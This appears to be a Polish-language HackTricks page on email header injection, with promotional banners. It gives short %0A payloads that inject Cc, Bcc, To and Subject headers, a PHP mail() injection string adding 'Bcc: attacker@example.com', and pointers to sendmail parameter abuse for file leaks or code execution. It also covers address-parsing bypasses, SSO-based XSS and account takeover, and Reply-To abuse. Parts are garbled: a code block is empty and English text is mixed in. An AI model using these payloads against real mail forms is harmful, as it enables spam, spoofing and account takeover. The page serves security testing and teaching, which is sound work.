# Wstrzykiwanie do wysłanej wiadomości e-mail
\ Użyj [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks), aby łatwo tworzyć i **automatyzować przepływy pracy** przy użyciu najbardziej zaawansowanych narzędzi społecznościowych na świecie.\ Otrzymaj dostęp już dziś: {% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! Inne sposoby wsparcia HackTricks: * Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)! * Zdobądź [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * Odkryj [**Rodzinę PEASS**](https://opensea.io/collection/the-peass-family), naszą kolekcję ekskluzywnych [**NFT**](https://opensea.io/collection/the-peass-family) * **Dołącz do** 💬 [**grupy Discord**](https://discord.gg/hRep4RUj7f) lub [**grupy telegramowej**](https://t.me/peass) lub **śledź** nas na **Twitterze** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.** * **Podziel się swoimi sztuczkami hakerskimi, przesyłając PR-y do** [**HackTricks**](https://github.com/carlospolop/hacktricks) i [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
## Wstrzykiwanie w wysłaną wiadomość e-mail ### Wstrzykiwanie Cc i Bcc po argumencie nadawcy ``` From:sender@domain.com%0ACc:recipient@domain.co,%0ABcc:recipient1@domain.com ``` ### Wstrzyknięcie argumentu The message will be sent to the recipient and recipient1 accounts. ### Wstrzyknięcie argumentu ``` From:sender@domain.com%0ATo:attacker@domain.com ``` Wiadomość zostanie wysłana do oryginalnego odbiorcy oraz do konta atakującego. ### Wstrzyknięcie argumentu Temat (Subject) ``` From:sender@domain.com%0ASubject:This is%20Fake%20Subject ``` Fałszywy temat zostanie dodany do oryginalnego tematu i w niektórych przypadkach go zastąpi. To zależy od zachowania usługi pocztowej. ### Zmień treść wiadomości Wstrzyknij dwie linie odstępu, a następnie napisz swoją wiadomość, aby zmienić treść wiadomości. ``` From:sender@domain.com%0A%0AMy%20New%20%0Fake%20Message. ``` ### Wykorzystanie funkcji PHP mail() The `mail()` function in PHP is commonly used to send emails from a web application. However, if not properly secured, it can be vulnerable to email injection attacks. Email injection occurs when an attacker is able to manipulate the email headers and inject malicious content into the email. #### Exploiting Email Injection To exploit email injection, an attacker can craft a specially crafted input that includes additional email headers or commands. These additional headers or commands can be used to perform various malicious actions, such as sending spam emails, stealing sensitive information, or even executing arbitrary code on the server. #### Example of Email Injection Consider the following vulnerable code snippet: ```php ``` In this example, the `$_POST['email']` variable is directly used as the recipient of the email without any validation or sanitization. An attacker can exploit this by injecting additional headers using a newline character (`\r\n`). For example, an attacker can craft a malicious input like this: ``` email@example.com\r\nBcc: attacker@example.com\r\nContent-Type: text/html\r\n\r\n ``` When the email is sent, the additional headers and the injected script will be included in the email. The script will be executed when the email is opened by the recipient, potentially leading to further exploitation. #### Prevention To prevent email injection attacks, it is important to properly validate and sanitize user input before using it in email headers. Here are some best practices to follow: - Validate and sanitize user input: Ensure that user input is properly validated and sanitized to prevent any malicious content from being injected. - Use a safe email library: Instead of using the `mail()` function directly, consider using a secure email library that handles email headers properly and provides built-in protection against email injection attacks. - Implement input validation and filtering: Implement input validation and filtering mechanisms to ensure that user input adheres to expected formats and does not contain any malicious content. - Use prepared statements or parameterized queries: If user input is used in SQL queries, use prepared statements or parameterized queries to prevent SQL injection attacks, which can also be used to perform email injection. By following these best practices, you can protect your web application from email injection attacks and ensure the security of your users' data. ```bash # The function has the following definition: php --rf mail Function [ function mail ] { - Parameters [5] { Parameter #0 [ $to ] Parameter #1 [ $subject ] Parameter #2 [ $message ] Parameter #3 [ $additional_headers ] Parameter #4 [ $additional_parameters ] } } ``` #### Piąty parametr ($additional\_parameters) Ta sekcja będzie oparta na **tym, jak nadużywać tego parametru zakładając, że atakujący go kontroluje**. Ten parametr zostanie dodany do wiersza poleceń, który PHP będzie używał do wywołania binarnego sendmail. Jednak zostanie on zabezpieczony za pomocą funkcji `escapeshellcmd($additional_parameters)`. Atakujący może **wstrzyknąć dodatkowe parametry dla sendmail** w tym przypadku. #### Różnice w implementacji /usr/sbin/sendmail Interfejs **sendmail** jest **dostarczany przez oprogramowanie poczty MTA** (Sendmail, Postfix, Exim itp.) zainstalowane w systemie. Chociaż **podstawowe funkcje** (takie jak parametry -t -i -f) pozostają **takie same** ze względów zgodności, **inne funkcje i parametry** różnią się znacznie w zależności od zainstalowanego MTA. Oto kilka przykładów różnych stron podręcznika polecenia sendmail: * Sendmail MTA: http://www.sendmail.org/\~ca/email/man/sendmail.html * Postfix MTA: http://www.postfix.org/mailq.1.html * Exim MTA: https://linux.die.net/man/8/eximReferences W zależności od **pochodzenia binarnego sendmail** odkryto różne opcje nadużywania ich i **wyciek plików lub nawet wykonywanie dowolnych poleceń**. Sprawdź jak to zrobić na stronie [**https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html**](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html) ## Wstrzykiwanie w nazwę e-maila ### Pomijane części adresu e-mail Symbole: **+, -** i **{}** w rzadkich przypadkach mogą być używane do oznaczania i są ignorowane przez większość serwerów poczty elektronicznej * Np. john.doe+intigriti@example.com → john.doe@example.com **Komentarze w nawiasach ()** na początku lub na końcu również są ignorowane * Np. john.doe(intigriti)@example.com → john.doe@example.com ### Ominięcie białej listy
https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0
### Cytaty
https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0
### Adresy IP Możesz również używać adresów IP jako nazw domenowych, umieszczając je w nawiasach kwadratowych: * john.doe@\[127.0.0.1] * john.doe@\[IPv6:2001:db8::1] ### Inne podatności ![https://www.youtube.com/watch?app=desktop&v=4ZsTKvfP1g0](<../.gitbook/assets/image (296).png>) ## SSO osób trzecich ### XSS Niektóre usługi, takie jak **github** lub **salesforce**, pozwalają tworzyć **adresy e-mail z zainfekowanymi XSS**. Jeśli możesz **użyć tych dostawców do logowania się na inne usługi** i te usługi **nie oczyszczają** poprawnie adresu e-mail, możesz spowodować **XSS**. ### Przejęcie konta Jeśli **usługa SSO** pozwala na **utworzenie konta bez weryfikacji podanego adresu e-mail** (tak jak **salesforce**) i następnie możesz użyć tego konta do **zalogowania się na inną usługę**, która **ufa** salesforce, możesz uzyskać dostęp do dowolnego konta.\ Należy jednak zauważyć, że salesforce wskazuje, czy podany adres e-mail został zweryfikowany, ale aplikacja powinna uwzględniać tę informację. ## Odpowiedź do Możesz wysłać e-mail używając _**Od: company.com**_ i _**Odpowiedz do: attacker.com**_, a jeśli zostanie wysłana **automatyczna odpowiedź** z powodu wysłania e-maila **z wewnętrznego adresu**, **atakujący** może być w stanie **otrzymać** tę **odpowiedź**. ## Wskaźnik odrzutu twardy Niektóre usługi, takie jak AWS, wprowadzają próg znanym jako **wskaźnik odrzutu twardego**, zwykle ustawiony na 10%. Jest to kluczowa metryka, zwłaszcza dla usług dostarczania poczty elektronicznej. Przekroczenie tego wskaźnika może spowodować zawieszenie lub zablokowanie usługi, takiej jak usługa poczty elektronicznej AWS. **Twardy odrzut** odnosi się do **e-maila**, który został zwrócony do nadawcy, ponieważ adres odbiorcy jest nieprawidłowy lub nieistniejący. Może to wynikać z różnych przyczyn, takich jak wysłanie e-maila na nieistniejący adres, domenę, która nie istnieje, lub odmowę serwera odbiorcy przyjęcia **e-maili**. W kontekście AWS, jeśli wysyłasz 1000 e-maili, a 100 z nich kończy się twardym odrzutem (z powodu nieprawidłowych adresów lub domen), oznacza to wskaźnik twardego odrzutu wynoszący 10%. Osiągnięcie lub przekroczenie tego wskaźnika może spowodować zablokowanie lub zawieszenie możliwości wysyłania e-maili przez AWS SES (Simple Email Service). Ważne jest utrzymanie niskiego wskaźnika twardego odrzutu, aby zapewnić nieprzerwane świadczenie usług poczty elektronicznej i utrzymanie reputacji nadawcy. Monitorowanie i zarządzanie jakością adresów e-mail na listach mailingowych może znacznie pomóc w osiągnięciu tego celu. Aby uzyskać bardziej szczegółowe informacje, można odwołać się do oficjalnej dokumentacji AWS dotyczącej obsługi odrzutów i skarg [AWS SES Bounce Handling](https://docs.aws.amazon.com/ses/latest/DeveloperGuide/notification-contents.html#bounce-types). ## Odwołania * [https://resources.infosecinstitute.com/email-injection/](https://resources.infosecinstitute.com/email-injection/) * [https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html](https://exploitbox.io/paper/Pwning-PHP-Mail-Function-For-Fun-And-RCE.html) * [https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view](https://drive.google.com/file/d/1iKL6wbp3yYwOmxEtAg1jEmuOf8RM8ty9/view) * [https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0](https://www.youtube.com/watch?app=desktop\&v=4ZsTKvfP1g0)
Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)! Inne sposoby wsparcia HackTricks: * Jeśli chcesz zobaczyć swoją **firmę reklamowaną w HackTricks** lub **pobrać HackTricks w formacie PDF**, sprawdź [**PLAN SUBSKRYPCJI**](https://github.com/sponsors/carlospolop)! * Uzyskaj [**oficjalne gadżety PEASS & HackTricks**](https://peass.creator-spring.com) * Odkryj [**Rodzinę PEASS**](https://opensea.io/c